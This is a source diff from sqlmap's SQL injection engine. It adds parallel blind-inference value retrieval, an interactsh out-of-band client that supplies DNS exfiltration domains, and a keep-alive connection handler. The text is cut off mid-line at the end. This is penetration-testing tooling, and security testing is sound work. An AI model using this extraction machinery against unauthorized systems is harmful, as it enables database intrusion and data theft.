@@ -328,23 +365,238 @@ def _goUnion(expression, unpack=True, dump=False): output = unionUse(expression, unpack=unpack, dump=dump) - if isinstance(output, basestring): + if isinstance(output, six.string_types): output = parseUnionPage(output) return output +def _verifyInferredValue(expression, value): + """ + Confirm a value-parallel-inferred name with ONE equality boolean (lock-free forged + query, mirroring the predictive commonValue check). A wrong bisection bit under heavy + concurrent load on a flaky/WAF'd target flips a character; a full-value equality catches + it sharply (a corrupted name != the real one). Returns True when (expression) == value + holds, or on a transient verify error (never discard a value on a hiccup). + """ + + if value is None or isNoneValue(value): + return True + + value = unArrayizeValue(value) + if not isinstance(value, six.string_types): + return True + + if Backend.getDbms(): + _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression) + nulledCastedField = agent.nullAndCastField(fieldToCastStr) + expressionUnescaped = unescaper.escape(expression.replace(fieldToCastStr, nulledCastedField, 1)) + else: + expressionUnescaped = unescaper.escape(expression) + + matchCondition = valueMatchCondition(expressionUnescaped, value) + if matchCondition is None: # non-ASCII value: no reliable whole-value equality (see valueMatchCondition) + return None # caller confirms these by an independent re-extraction instead + + query = getTechniqueData().vector.replace(INFERENCE_MARKER, matchCondition) + query = agent.suffixQuery(agent.prefixQuery(query)) + + timeBasedCompare = getTechnique() in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) + + try: + result = bool(Request.queryPage(agent.payload(newValue=query), timeBasedCompare=timeBasedCompare, raise404=False)) + incrementCounter(getTechnique()) + return result + except Exception: + return True + +def valueParallelEligible(): + """ + Whether blind enumeration/dumping should take the value-parallel path (one whole value per worker) + rather than the classic char loop. It is chosen for concurrency ('--threads') and, independently, to + render a single whole-job progress bar/ETA ('--eta'). A concurrency-safe channel - boolean or the + HTTP/2 timeless oracle - qualifies with either. Classic time-based qualifies only single-threaded under + '--eta': concurrent SLEEP measurements interfere, so it must stay sequential (where it is safe, and + still gets the whole-job ETA that matters most for the slowest channel). Callers add their own extra + guards (e.g. '--dns-domain', per-column comments). + """ + + concurrencySafe = isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) or kb.get("timeless") is not None + + if conf.threads > 1: + return concurrencySafe + if conf.eta: + return concurrencySafe or isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) + return False + +def _threadedInferenceValues(exprBuilder, indices, context=None, charsetType=None, dump=False): + """ + Value-parallel blind retrieval. + + Retrieve many independent values concurrently, ONE whole value per worker thread, each decoded + sequentially via bisection with length=None - so there is NO per-value length probe (unlike the + position-parallel path, which must probe LENGTH() to split a value's characters across threads) and + the sequential prefix lets predictive inference / low-cardinality guessing / the per-column Huffman + model work. This parallelizes across VALUES instead of character positions - the right axis for the + MANY short values of table/column NAME enumeration (context="Tables"/"Columns" tags kb.partRun so + predictValue() consults the wordlist) and, with dump=True, of per-column data dumping (Huffman and + low-cardinality guessing engage). It bypasses getValue()'s @lockedmethod the same way union/error + row-threading calls _oneShotUnionUse directly. `exprBuilder(index)` yields the per-value expression. + Returns a list aligned with `indices` (None where a value could not be retrieved); single-thread is + just sequential retrieval (no worse than the classic loop, and still without the length probe). + """ + + indices = list(indices) + + # Snapshot the raw per-thread technique (may be None) so the finally can restore it verbatim - + # getTechnique() would fall back to kb.technique, and a None result there used to skip the restore + # entirely, leaking the BOOLEAN/TIME we set below onto the calling thread for every later caller. + savedTechnique = getCurrentThreadData().technique + + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN): + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) + elif isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): + setTechnique(PAYLOAD.TECHNIQUE.TIME) + else: + return None + + try: + initTechnique(getTechnique()) + payload = agent.payload(newValue=agent.suffixQuery(agent.prefixQuery(getTechniqueData().vector))) + except: + setTechnique(savedTechnique) # these run before the runThreads try/finally below, so restore here too + raise + + results = [None] * len(indices) + cursor = iter(xrange(len(indices))) + + # With '--eta' show a single value-level bar (values completed / total) instead of the per-value + # stream: it is monotonic and carries a meaningful ETA across the whole set, and - unlike the + # per-char bar drawn inside bisection() - it survives the worker's disableStdOut (drawn forced, + # below), so '--eta' is honoured under '--threads' too. Skipped for trivial single-value sets. + etaProgress = ProgressBar(maxValue=len(indices)) if (conf.eta and len(indices) > 1) else None + completed = [0] + + def inferenceThread(): + threadData = getCurrentThreadData() + # Each per-value bisection streams its characters to stdout and mirrors them into + # threadData.shared.value - which is a PROCESS-GLOBAL object. Left as-is, concurrent + # workers interleave their character output (garbled console) and stomp each other's + # partial value. So suppress the per-char streaming here and give each worker a private + # shared-state object; a single clean line/counter is printed per completed value below. + threadData.disableStdOut = True + threadData.shared = AttribDict() + + while kb.threadContinue: + with kb.locks.limit: + try: + slot = next(cursor) + except StopIteration: + break + + expression = exprBuilder(indices[slot]) + try: + _, value = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + # Self-verify each value: sustained concurrent boolean load on a flaky/WAF'd target can flip + # a bisection bit (raw retrieval has no per-char validation), so confirm the whole value and + # re-extract on mismatch. ASCII values use ONE fast equality probe; a value carrying non-ASCII + # (which a quoted literal may not round-trip, AND which is itself a common corruption symptom) + # is instead confirmed by an INDEPENDENT re-extraction having to agree - a random flip will not + # reproduce the same bytes twice. Bounded to a few tries; correctness over a marginal request. + tries = 0 + while not isNoneValue(value) and not threadData.lowCardHit and tries < 3: + verdict = _verifyInferredValue(expression, value) + if verdict is True: + break + tries += 1 + _, other = bisection(payload, expression, length=None, charsetType=charsetType, dump=dump) + if verdict is None and other == value: # two independent extractions agree -> trust it + break + value = other # equality said wrong, or the two disagree -> adopt fresh, recheck + except Exception as ex: + logger.debug("parallel retrieval worker failed at slot %d ('%s')" % (slot, ex)) + value = None + + with kb.locks.value: + results[slot] = value + + if etaProgress is not None: + with kb.locks.io: + completed[0] += 1 + threadData.disableStdOut = False # let the value-level bar through (per-char streaming stays muted) + try: + etaProgress.progress(completed[0]) + finally: + threadData.disableStdOut = True + + # Stream each retrieved value as it completes (they arrive out of order under threads, exactly + # like the error/union dumps), so a dump shows its data live rather than a silent counter. + elif conf.verbose >= 1 and not kb.bruteMode and not isNoneValue(value): + with kb.locks.io: + rendered = safecharencode(unArrayizeValue(value)) + dataToStdout("[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), "'%s'" % rendered if dump else rendered), forceOutput=True) + + # Keep the '--eta' countdown live between value updates: a value (esp. time-based) can take many + # seconds, so a daemon redraws the bar every second with the ETA decremented by elapsed time (it runs + # on its own thread, so it is not muted by the workers' disableStdOut, and shares kb.locks.io with them). + etaTickerStop = threading.Event() + etaTicker = None + if etaProgress is not None and IS_TTY: + def _etaTicker(): + while not etaTickerStop.wait(1.0): + with kb.locks.io: + etaProgress.tick() + etaTicker = threading.Thread(target=_etaTicker, name="eta-ticker") + setDaemon(etaTicker) + etaTicker.start() + + # Save/restore the calling thread's state: with a single thread runThreads runs the worker + # INLINE on this thread, so the worker's disableStdOut/shared mutations must not leak out. + savedPartRun = kb.partRun + mainThreadData = getCurrentThreadData() + savedStdOut, savedShared = mainThreadData.disableStdOut, mainThreadData.shared + kb.partRun = context + try: + runThreads(min(conf.threads or 1, len(indices)) or 1, inferenceThread) + finally: + etaTickerStop.set() + if etaTicker is not None: + etaTicker.join(timeout=2) + kb.partRun = savedPartRun + mainThreadData.disableStdOut = savedStdOut + mainThreadData.shared = savedShared + setTechnique(savedTechnique) + + # Robustness: any slot a worker could not retrieve (None, i.e. a transient per-cell failure) is + # re-extracted serially via the classic getValue() path - full error handling, and a persistent error + # surfaces there - rather than being silently returned as an empty value. + for slot in xrange(len(results)): + if results[slot] is None and kb.threadContinue: + results[slot] = getValue(exprBuilder(indices[slot]), union=False, error=False, dump=dump, charsetType=charsetType) + + return results + +@lockedmethod +@stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection affected parameter. """ - if conf.hexConvert: - charsetType = CHARSET_TYPE.HEXADECIMAL + if conf.hexConvert and expected != EXPECTED.BOOL and Backend.getIdentifiedDbms(): + if not hasattr(queries[Backend.getIdentifiedDbms()], "hex"): + warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms() + singleTimeWarnMessage(warnMsg) + conf.hexConvert = False + else: + charsetType = CHARSET_TYPE.HEXADECIMAL kb.safeCharEncode = safeCharEncode kb.resumeValues = resumeValue + for keyword in GET_VALUE_UPPERCASE_KEYWORDS: + expression = re.sub(r"(?i)(\A|\(|\)|\s)%s(\Z|\(|\)|\s)" % keyword, r"\g<1>%s\g<2>" % keyword, expression) + if suppressOutput is not None: pushValue(getCurrentThreadData().disableStdOut) getCurrentThreadData().disableStdOut = suppressOutput @@ -356,7 +608,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if expected == EXPECTED.BOOL: forgeCaseExpression = booleanExpression = expression - if expression.upper().startswith("SELECT "): + if expression.startswith("SELECT "): booleanExpression = "(%s)=%s" % (booleanExpression, "'1'" if "'1'" in booleanExpression else "1") else: forgeCaseExpression = agent.forgeCaseStatement(expression) @@ -364,7 +616,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if conf.direct: value = direct(forgeCaseExpression if expected == EXPECTED.BOOL else expression) - elif any(map(isTechniqueAvailable, getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True))): + elif any(isTechniqueAvailable(_) for _ in getPublicTypeMembers(PAYLOAD.TECHNIQUE, onlyValues=True)): query = cleanQuery(expression) query = expandAsteriskForColumns(query) value = None @@ -376,10 +628,17 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not conf.forceDns: if union and isTechniqueAvailable(PAYLOAD.TECHNIQUE.UNION): - kb.technique = PAYLOAD.TECHNIQUE.UNION + setTechnique(PAYLOAD.TECHNIQUE.UNION) kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8] fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion + if expected == EXPECTED.BOOL: + # Note: some DBMSes (e.g. Altibase, SQL Server) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq') + + # skip only when already CASE-wrapped or a bare scalar SELECT value (cf. the startswith check above); a boolean predicate that merely EMBEDS a subquery (e.g. '(SELECT ...) IS NULL', common when the DBMS is unidentified and forgeCaseStatement() is a no-op) still needs wrapping for concatenation safety + if "CASE" not in forgeCaseExpression and not forgeCaseExpression.startswith("SELECT "): + forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression + try: value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump) except SqlmapConnectionException: @@ -408,20 +667,20 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser singleTimeWarnMessage(warnMsg) if error and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) and not found: - kb.technique = PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY + setTechnique(PAYLOAD.TECHNIQUE.ERROR if isTechniqueAvailable(PAYLOAD.TECHNIQUE.ERROR) else PAYLOAD.TECHNIQUE.QUERY) value = errorUse(forgeCaseExpression if expected == EXPECTED.BOOL else query, dump) count += 1 found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE - if found and conf.dnsName: - _ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items()))) + if found and conf.dnsDomain: + _ = "".join(filterNone(key if isTechniqueAvailable(value) else None for key, value in {'E': PAYLOAD.TECHNIQUE.ERROR, 'Q': PAYLOAD.TECHNIQUE.QUERY, 'U': PAYLOAD.TECHNIQUE.UNION}.items())) warnMsg = "option '--dns-domain' will be ignored " warnMsg += "as faster techniques are usable " warnMsg += "(%s) " % _ singleTimeWarnMessage(warnMsg) if blind and isTechniqueAvailable(PAYLOAD.TECHNIQUE.BOOLEAN) and not found: - kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN + setTechnique(PAYLOAD.TECHNIQUE.BOOLEAN) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) @@ -432,16 +691,18 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: + match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) + kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None + if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): - kb.technique = PAYLOAD.TECHNIQUE.TIME + setTechnique(PAYLOAD.TECHNIQUE.TIME) else: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) if expected == EXPECTED.BOOL: value = _goBooleanProxy(booleanExpression) else: value = _goInferenceProxy(query, fromUser, batch, unpack, charsetType, firstChar, lastChar, dump) - else: errMsg = "none of the injection types identified can be " errMsg += "leveraged to retrieve queries output" @@ -449,6 +710,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser finally: kb.resumeValues = True + kb.responseTimeMode = None conf.tbl = popValue() conf.db = popValue() @@ -458,22 +720,56 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: - warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' " - warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" - singleTimeWarnMessage(warnMsg) + if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted: + if conf.abortOnEmpty: + errMsg = "aborting due to empty data retrieval" + logger.critical(errMsg) + raise SystemExit + else: + warnMsg = "in case of continuous data retrieval problems you are advised to try " + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else "" + singleTimeWarnMessage(warnMsg) + + # Dirty patch (MSSQL --binary-fields with 0x31003200...) + if Backend.isDbms(DBMS.MSSQL) and conf.binaryFields: + def _(value): + if isinstance(value, six.text_type): + if value.startswith(u"0x"): + value = value[2:] + if value and len(value) % 4 == 0: + candidate = "" + for i in xrange(len(value)): + if i % 4 < 2: + candidate += value[i] + elif value[i] != '0': + candidate = None + break + if candidate: + value = candidate + return value + + value = applyFunctionRecursively(value, _) + + # Dirty patch (safe-encoded unicode characters) + if isinstance(value, six.text_type) and "\\x" in value: + try: + candidate = eval(repr(value).replace("\\\\x", "\\x").replace("u'", "'", 1)).decode(conf.encoding or UNICODE_ENCODING) + if "\\x" not in candidate: + value = candidate + except: + pass return extractExpectedValue(value, expected) def goStacked(expression, silent=False): if PAYLOAD.TECHNIQUE.STACKED in kb.injection.data: - kb.technique = PAYLOAD.TECHNIQUE.STACKED + setTechnique(PAYLOAD.TECHNIQUE.STACKED) else: for technique in getPublicTypeMembers(PAYLOAD.TECHNIQUE, True): _ = getTechniqueData(technique) if _ and "stacked" in _["title"].lower(): - kb.technique = technique + setTechnique(technique) break expression = cleanQuery(expression) diff --git a/lib/request/interactsh.py b/lib/request/interactsh.py new file mode 100644 index 00000000000..e57a09537bc --- /dev/null +++ b/lib/request/interactsh.py @@ -0,0 +1,175 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import base64 +import json +import time + +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import HTTP_HEADER +from lib.core.settings import OOB_CORRELATION_ID_LENGTH +from lib.core.settings import OOB_INTERACTSH_SERVERS +from lib.core.settings import OOB_NONCE_LENGTH + +# The interactsh client needs RSA-OAEP(SHA-256) + AES-256-CTR. pycryptodome is an +# optional dependency (sqlmap already uses it opportunistically in lib/utils/hash.py); +# without it the OOB tier is simply skipped rather than erroring. +try: + from Crypto.Cipher import AES + from Crypto.Cipher import PKCS1_OAEP + from Crypto.Hash import SHA256 + from Crypto.PublicKey import RSA + _HAS_CRYPTO = True +except ImportError: + _HAS_CRYPTO = False + + +def hasCrypto(): + return _HAS_CRYPTO + + +class Interactsh(object): + """Minimal interactsh client: registers a per-scan RSA key with a public (or + self-hosted) interactsh server, hands out unique callback URLs, and polls for + the DNS/HTTP interactions they trigger. Interactions are RSA/AES encrypted on + the wire and decrypted locally, so the server operator never sees their content. + All HTTP goes through sqlmap's own request stack (proxy/timeout honoured).""" + + def __init__(self, server=None, token=None): + self.server = None + self.token = token or conf.get("oobToken") + self.correlationId = randomStr(OOB_CORRELATION_ID_LENGTH, lowercase=True) + self.secret = randomStr(32, lowercase=True) + self.registered = False + self._key = None + self._dnsNonce = None + + if not _HAS_CRYPTO: + return + + self._key = RSA.generate(2048) + pubKey = getText(base64.b64encode(getBytes(self._key.publickey().export_key(format="PEM")))) + candidates = [server] if server else list(OOB_INTERACTSH_SERVERS) + + for candidate in candidates: + if not candidate: + continue + body = json.dumps({"public-key": pubKey, "secret-key": self.secret, "correlation-id": self.correlationId}) + if self._request("https://%s/register" % candidate, post=body): + self.server = candidate + self.registered = True + logger.debug("registered with OOB interaction server '%s'" % candidate) + break + + def _request(self, url, post=None): + """Direct request to the interactsh server (a fixed service, never the target). + Self-contained on urllib so it works regardless of sqlmap's request-stack init + order (it is also called during option setup, before getPage is usable); honours + --proxy and tolerates self-signed certs like the rest of sqlmap. Returns the + response body text on success, otherwise None.""" + try: + import ssl + try: + from urllib.request import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + except ImportError: + from urllib2 import Request as _Request, build_opener, ProxyHandler, HTTPSHandler + + headers = {HTTP_HEADER.CONTENT_TYPE: "application/json"} if post is not None else {HTTP_HEADER.ACCEPT: "application/json"} + if self.token: + headers[HTTP_HEADER.AUTHORIZATION] = self.token + + handlers = [] + try: + # Verify TLS for the (public, valid-cert) interaction server by default; + # only skip verification when the user has globally opted out (--force-ssl-verify + # off / verifyCert False), matching sqlmap's own TLS posture. + context = ssl.create_default_context() + if conf.get("verifyCert") is False: + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + handlers.append(HTTPSHandler(context=context)) + except Exception: + pass + if conf.get("proxy"): + handlers.append(ProxyHandler({"http": conf.proxy, "https": conf.proxy})) + + request = _Request(url, data=getBytes(post) if post is not None else None, headers=headers) + response = build_opener(*handlers).open(request, timeout=conf.get("timeout") or 30) + return getText(response.read()) + except Exception as ex: + logger.debug("OOB request to '%s' failed: %s" % (url, getText(ex))) + return None + + def url(self): + """Return a fresh unique callback URL (host = correlationId + nonce).""" + nonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "http://%s%s.%s" % (self.correlationId, nonce, self.server) + + def dnsDomain(self): + """Stable domain suffix (host = correlationId + a fixed nonce) usable as an + exfiltration suffix - additional labels prepended by a payload still resolve + to this correlation id, so every DNS lookup under it is captured.""" + if not self._dnsNonce: + self._dnsNonce = randomStr(OOB_NONCE_LENGTH, lowercase=True) + return "%s%s.%s" % (self.correlationId, self._dnsNonce, self.server) + + def dnsNames(self): + """Poll and return the fully-qualified names (minus the server suffix) of the + DNS lookups captured so far, e.g. 'prefix.<hex>.suffix.<correlationId><nonce>'.""" + return [_.get("full-id") for _ in self.poll() if _.get("protocol") == "dns" and _.get("full-id")] + + def poll(self): + """Return the list of decrypted interaction records captured so far.""" + if not self.registered: + return [] + + page = self._request("https://%s/poll?id=%s&secret=%s" % (self.server, self.correlationId, self.secret)) + if not page: + return [] + + try: + response = json.loads(page) + except ValueError: + return [] + + retVal = [] + data = response.get("data") or [] + if data: + try: + aesKey = PKCS1_OAEP.new(self._key, hashAlgo=SHA256).decrypt(base64.b64decode(response["aes_key"])) + except Exception as ex: + logger.debug("OOB AES key decryption failed: %s" % getText(ex)) + return [] + + for item in data: + try: + raw = base64.b64decode(item) + plain = AES.new(aesKey, AES.MODE_CTR, nonce=b"", initial_value=raw[:AES.block_size]).decrypt(raw[AES.block_size:]) + retVal.append(json.loads(getText(plain))) + except Exception as ex: + logger.debug("OOB interaction decryption failed: %s" % getText(ex)) + + return retVal + + def pollUntil(self, attempts, delay): + """Poll repeatedly, returning as soon as any interaction is captured.""" + for _ in range(attempts): + time.sleep(delay) + interactions = self.poll() + if interactions: + return interactions + return [] + + def close(self): + if self.registered: + body = json.dumps({"correlation-id": self.correlationId, "secret-key": self.secret}) + self._request("https://%s/deregister" % self.server, post=body) + self.registered = False diff --git a/lib/request/keepalive.py b/lib/request/keepalive.py new file mode 100644 index 00000000000..1195ff477ea --- /dev/null +++ b/lib/request/keepalive.py @@ -0,0 +1,347 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import socket +import threading +import time + +from lib.core.settings import KEEPALIVE_IDLE_TIMEOUT +from lib.core.settings import KEEPALIVE_MAX_REQUESTS +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib + +# Note: prior to Python 2.4 it was the HTTP handler's job to decide what to handle +# specially; since 2.4 that belongs to HTTPErrorProcessor, hence everything is passed up +HANDLE_ERRORS = 0 + +class _ConnectionPool(threading.local): + """ + Per-thread pool of reusable persistent connections. + + Keeping one connection per (scheme, host) and per worker thread is what + keeps Keep-Alive safe under '--threads': a socket is never shared between + threads, so concurrent requests can never interleave on the same wire (the + classic cause of response desynchronization). Synchronous reuse within a + single thread is fine because the previous response is always fully drained + before the next request is issued (see L{_KeepAliveResponseMixin}). + """ + + def __init__(self): + self.conns = {} # key -> [connection, request_count, last_used] + +class _KeepAliveHandler(object): + def __init__(self): + self._pool = _ConnectionPool() + + def _take(self, key): + """ + Returns a (still usable) pooled connection for L{key} or None + """ + + entry = self._pool.conns.pop(key, None) + + if entry is not None: + conn, count, last = entry + if (time.time() - last) <= KEEPALIVE_IDLE_TIMEOUT and count < KEEPALIVE_MAX_REQUESTS: + return conn, count + + # Too old or too heavily used; drop it + try: + conn.close() + except Exception: + pass + + return None, 0 + + def _give_back(self, key, conn, count): + self._pool.conns[key] = [conn, count, time.time()] + + @staticmethod + def _takeTunnelHeaders(req): + """ + Pops the Proxy-Authorization header off L{req} (returning it as a dict) so it rides on the + CONNECT request only and is never forwarded through the tunnel to the origin server, mirroring + the stock C{urllib.request.AbstractHTTPHandler.do_open} tunnel setup + """ + + result = {} + for store in (getattr(req, "unredirected_hdrs", None), getattr(req, "headers", None)): + if store: + for name in list(store): + if name.lower() == "proxy-authorization": + result[name] = store.pop(name) + return result + + def do_open(self, req): + # Note: 'selector'/'host' attributes on Python 3 (Request.get_host() was deprecated since + # 3.3 and removed in 3.12); the get_*() fallbacks are only reachable under Python 2 + host = req.host if hasattr(req, "host") else req.get_host() + + if not host: + raise _urllib.error.URLError("no host given") + + # When routed through an HTTP(s) proxy, ProxyHandler has already rewritten the request: for a + # plain-HTTP target 'host' is the proxy and the selector is absolute; for an HTTPS target + # '_tunnel_host' holds the origin reached via a CONNECT tunnel. Pool by the tunnel origin when + # tunneling (each origin needs its own tunnelled socket) and by 'host' otherwise (one HTTP-proxy + # socket serves many origins, and a direct connection is keyed by its own host exactly as before). + tunnelHost = getattr(req, "_tunnel_host", None) + tunnelHeaders = self._takeTunnelHeaders(req) if tunnelHost else None + key = "%s://%s" % (self._scheme, tunnelHost or host) + + conn, count = self._take(key) + reused = conn is not None + + try: + if reused: + # A pooled socket may have been closed by the server in the + # meantime; treat any failure (or a bogus HTTP/0.9 reply, which + # is httplib's tell-tale for a dead socket) as a stale connection + try: + self._send_request(conn, req) + response = conn.getresponse() + if response is None or getattr(response, "version", 0) == 9: + raise _http_client.HTTPException("stale connection") + except (socket.error, _http_client.HTTPException): + try: + conn.close() + except Exception: + pass + conn = None + reused = False + + if conn is None: + conn = self._get_connection(host) + if tunnelHost: + conn.set_tunnel(tunnelHost, headers=tunnelHeaders or {}) + count = 0 + self._send_request(conn, req) + response = conn.getresponse() + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + count += 1 + + # Honor an explicit 'Connection: close' even when L{will_close} wasn't set + willClose = response.will_close + if not willClose: + try: + headers = getattr(response, "msg", None) or getattr(response, "headers", None) + value = headers.get("connection") or headers.get("Connection") if headers else None + if value and "close" in value.lower(): + willClose = True + except Exception: + pass + + keep = not willClose and count < KEEPALIVE_MAX_REQUESTS + + self._adapt(response, req.get_full_url()) + self._instrument(response, key, conn, count, keep) + + if response.status == 200 or not HANDLE_ERRORS: + return response + else: + return self.parent.error("http", req, response, response.status, response.reason, response.headers) + + def _adapt(self, response, url): + """ + Makes a raw httplib response indistinguishable from the object normally + returned by C{urlopen} (the surface the rest of sqlmap relies on) + """ + + headers = getattr(response, "headers", None) + if headers is None: + headers = response.msg # Python 2: msg holds the parsed headers + + response.url = url + response.code = response.status + response.headers = headers + + if not hasattr(response, "info"): + response.info = lambda headers=headers: headers + if not hasattr(response, "geturl"): + response.geturl = lambda url=url: url + if not hasattr(response, "getcode"): + response.getcode = lambda response=response: response.status + + # Note: Python 2's httplib.HTTPResponse lacks readline()/readlines(), which urllib2's + # error wrapping (addinfourl, for any non-2xx response) requires; provide them over read() + if not hasattr(response, "readline"): + response.readline = _makeReadline(response) + response.readlines = _makeReadlines(response) + + # Note: must come last as on Python 3 'msg' initially aliases the headers + response.msg = response.reason + + def _instrument(self, response, key, conn, count, keep): + """ + Returns the connection to the pool once (and only once) its body has been + fully consumed; otherwise the socket is closed. A partially read response + (e.g. sqlmap hitting a size cap) leaves unread bytes on the wire, so such + a connection is never reused. + """ + + # 'eof' is raised only on a genuine end-of-body (observed while reading), never + # merely because close() nulled the file object; the socket is handed back to the + # pool solely on that signal, so a half-read response can never be reused (which + # would splice its leftover bytes onto the next request - response desynchronization) + state = {"handled": False, "reading": False, "eof": False} + _read = response.read + _close = response.close + + def drained(): + checker = getattr(response, "isclosed", None) + if callable(checker): + try: + return checker() + except Exception: + return False + return getattr(response, "fp", None) is None + + def settle(): + # Once (and only once) the body is fully drained, decide the socket's fate + if state["handled"] or not state["eof"]: + return + state["handled"] = True + if keep: + self._give_back(key, conn, count) + else: + try: + conn.close() + except Exception: + pass + + def read(*args, **kwargs): + state["reading"] = True + try: + data = _read(*args, **kwargs) + finally: + state["reading"] = False + if drained(): + state["eof"] = True + settle() + return data + + def close(): + # Note: on Python 2 httplib.read() calls close() itself upon EOF, i.e. from inside + # our read(); such an in-read close marks a real end-of-body. An external close() + # on a not-yet-drained body means the caller abandoned it (e.g. sqlmap hitting a + # size cap), so the socket must be dropped rather than returned to the pool. + if state["reading"]: + state["eof"] = True + _close() + settle() + if not state["handled"]: + # Closed before the body was fully consumed; unsafe to reuse + state["handled"] = True + try: + conn.close() + except Exception: + pass + + response._keepaliveManaged = True + response.read = read + response.close = close + +class HTTPKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPHandler): + _scheme = "http" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def http_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + return _http_client.HTTPConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +class HTTPSKeepAliveHandler(_KeepAliveHandler, _urllib.request.HTTPSHandler): + _scheme = "https" + + def __init__(self): + _KeepAliveHandler.__init__(self) + + def https_open(self, req): + return self.do_open(req) + + def _get_connection(self, host): + # Note: reuses sqlmap's SSL-negotiating connection (lib/request/httpshandler.py) + from lib.request.httpshandler import HTTPSConnection + from lib.request.httpshandler import ssl + return HTTPSConnection(host) if ssl else _http_client.HTTPSConnection(host) + + def _send_request(self, conn, req): + _sendRequest(conn, req) + +def _sendRequest(conn, req): + """ + Issues L{req} on the (possibly reused) low-level connection L{conn} + """ + + data = getattr(req, "data", None) + method = req.get_method() or ("POST" if data is not None else "GET") + selector = req.selector if hasattr(req, "selector") else req.get_selector() + + try: + conn.putrequest(method, selector, skip_host=req.has_header("Host"), skip_accept_encoding=req.has_header("Accept-encoding")) + + if data is not None: + if not req.has_header("Content-type"): + conn.putheader("Content-type", "application/x-www-form-urlencoded") + if not req.has_header("Content-length"): + conn.putheader("Content-length", "%d" % len(data)) + except (socket.error, _http_client.HTTPException) as ex: + raise _urllib.error.URLError(ex) + + if not req.has_header("Connection"): + conn.putheader("Connection", "keep-alive") + + for key, value in req.header_items(): + conn.putheader(key, value) + + conn.endheaders() + + if data is not None: + conn.send(data) + +def _makeReadline(response): + """ + A buffered readline() over response.read() (Python 2 httplib.HTTPResponse lacks one) + """ + + buffer = {"data": b""} + + def readline(*args, **kwargs): + while b"\n" not in buffer["data"]: + chunk = response.read(8192) + if not chunk: + break + buffer["data"] += chunk + data = buffer["data"] + index = data.find(b"\n") + if index == -1: + buffer["data"] = b"" + return data + buffer["data"] = 